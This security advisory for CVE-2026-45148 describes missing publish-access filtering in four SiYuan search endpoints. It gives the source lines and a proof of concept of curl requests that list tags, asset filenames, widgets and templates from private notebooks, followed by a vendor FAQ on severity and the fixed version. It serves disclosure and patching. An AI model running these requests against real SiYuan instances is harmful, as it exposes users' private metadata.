CVE-2026-45148

The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:181-190, all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:

ginServer.Handle("POST", "/api/search/searchTag",      model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget",   model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset",    model.CheckAuth, searchAsset)

kernel/api/search.go, none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:

// :29-65  listInvalidBlockRefs, DOES filter:
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

// :67-93  getAssetContent, DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent, DOES filter
// :250-285 getEmbedBlock, DOES filter (FilterEmbedBlocksByPublishAccess)

// :156-176 searchAsset, does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)

// :178-196 searchTag, does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}

// :198-213 searchWidget, does NOT filter
widgets := model.SearchWidget(keyword)

// :233-248 searchTemplate, does NOT filter
templates := model.SearchTemplate(keyword)

model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.

PoC

End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:

# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

curl -X POST https://<publish-host>/api/search/searchWidget   -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'

Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.

In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.

A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:

• All tag strings used anywhere in the workspace, frequently contains person names, project codenames, internal identifiers.
• All asset filenames uploaded to the workspace, frequently contains the contents of CV.pdf, contract.docx, salary-2026.xlsx, etc.
• All widget names and template names installed in the workspace.

This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-45148 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260512140701-d7b77d945e0d); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45148? CVE-2026-45148 is a medium-severity incorrect authorization vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260512140701-d7b77d945e0d. It is fixed in 0.0.0-20260512140701-d7b77d945e0d. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-45148? CVE-2026-45148 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-45148? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260512140701-d7b77d945e0d is affected.
4. Is there a fix for CVE-2026-45148? Yes. CVE-2026-45148 is fixed in 0.0.0-20260512140701-d7b77d945e0d. Upgrade to this version or later.
5. Is CVE-2026-45148 exploitable, and should I be worried? Whether CVE-2026-45148 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45148 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45148? Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d or later.